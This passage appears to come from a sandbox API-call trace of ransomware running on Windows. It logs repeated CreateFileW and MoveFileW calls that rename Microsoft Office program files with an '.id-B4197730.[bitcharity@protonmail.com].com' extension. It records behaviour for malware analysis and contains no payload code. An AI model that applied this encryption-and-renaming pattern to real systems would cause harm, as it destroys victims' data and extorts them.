office\\root\\office16\\logoimages\\winwordlogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.405] CloseHandle (hObject=0x11d0) returned 1 [0267.406] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.406] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.406] CloseHandle (hObject=0x11d0) returned 1 [0267.407] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.407] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.407] CloseHandle (hObject=0x11d0) returned 1 [0267.408] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.408] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.409] CloseHandle (hObject=0x11d0) returned 1 [0267.410] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.410] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.410] CloseHandle (hObject=0x11d0) returned 1 [0267.411] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.411] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.411] CloseHandle (hObject=0x11d0) returned 1 [0267.412] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.412] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.413] CloseHandle (hObject=0x11d0) returned 1 [0267.416] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.416] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.416] CloseHandle (hObject=0x11d0) returned 1 [0267.417] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.417] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.418] CloseHandle (hObject=0x11d0) returned 1 [0267.418] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.419] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.419] CloseHandle (hObject=0x11d0) returned 1 [0267.420] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.420] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.420] CloseHandle (hObject=0x11d0) returned 1 [0267.421] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.421] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.422] CloseHandle (hObject=0x11d0) returned 1 [0268.013] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.013] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_appinvite.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_appinvite.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.014] CloseHandle (hObject=0x1074) returned 1 [0268.015] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.015] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Microsoft.Lync.Utilities.zip.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\microsoft.lync.utilities.zip.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.015] CloseHandle (hObject=0x1074) returned 1 [0268.016] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.017] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MML2OMML.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mml2omml.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.017] CloseHandle (hObject=0x1074) returned 1 [0268.018] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.018] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSACCESS.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msaccess.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.018] CloseHandle (hObject=0x1074) returned 1 [0268.020] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.020] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSPUB.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mspub.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.020] CloseHandle (hObject=0x1074) returned 1 [0268.024] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MSZIP.DIC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\mszip.dic.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0268.025] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.025] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\omml2mml.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.025] CloseHandle (hObject=0x1078) returned 1 [0268.028] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.028] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNote-manifest.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote\\sendtoonenote-manifest.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.029] CloseHandle (hObject=0x1078) returned 1 [0268.030] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.030] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNote-PipelineConfig.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote\\sendtoonenote-pipelineconfig.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.030] CloseHandle (hObject=0x1078) returned 1 [0268.038] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.038] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNote.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote\\sendtoonenote.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.039] CloseHandle (hObject=0x1078) returned 1 [0268.040] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.040] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.040] CloseHandle (hObject=0x1078) returned 1 [0268.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLFLTR.DAT.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlfltr.dat.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0268.045] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.045] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OUTLOOK.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlook.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.046] CloseHandle (hObject=0x1078) returned 1 [0268.057] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.057] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\AMERITECH.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\ameritech.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.058] CloseHandle (hObject=0x1078) returned 1 [0268.059] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.059] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\BTINTERNET.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\btinternet.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.059] CloseHandle (hObject=0x1078) returned 1 [0268.060] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.060] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\BTOPENWORLD.COM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\btopenworld.com.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.061] CloseHandle (hObject=0x1078) returned 1 [0268.062] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.062] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.062] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\FLASH.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\flash.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.062] CloseHandle (hObject=0x1078) returned 1 [0268.064] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.065] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\GMAIL.COM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\gmail.com.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.065] CloseHandle (hObject=0x1078) returned 1 [0268.066] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.066] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\NL.ROGERS.COM.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\nl.rogers.com.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.066] CloseHandle (hObject=0x1078) returned 1 [0268.502] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.502] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\NVBELL.NET.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\outlookautodiscover\\nvbell.net.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.506] CloseHandle (hObject=0x125c) returned 1 [0268.508] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.508] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\PGLBL026.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pagesize\\pglbl026.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.508] CloseHandle (hObject=0x125c) returned 1 [0268.509] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.509] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.509] CreateFileW (lpFileName="C:\\Program 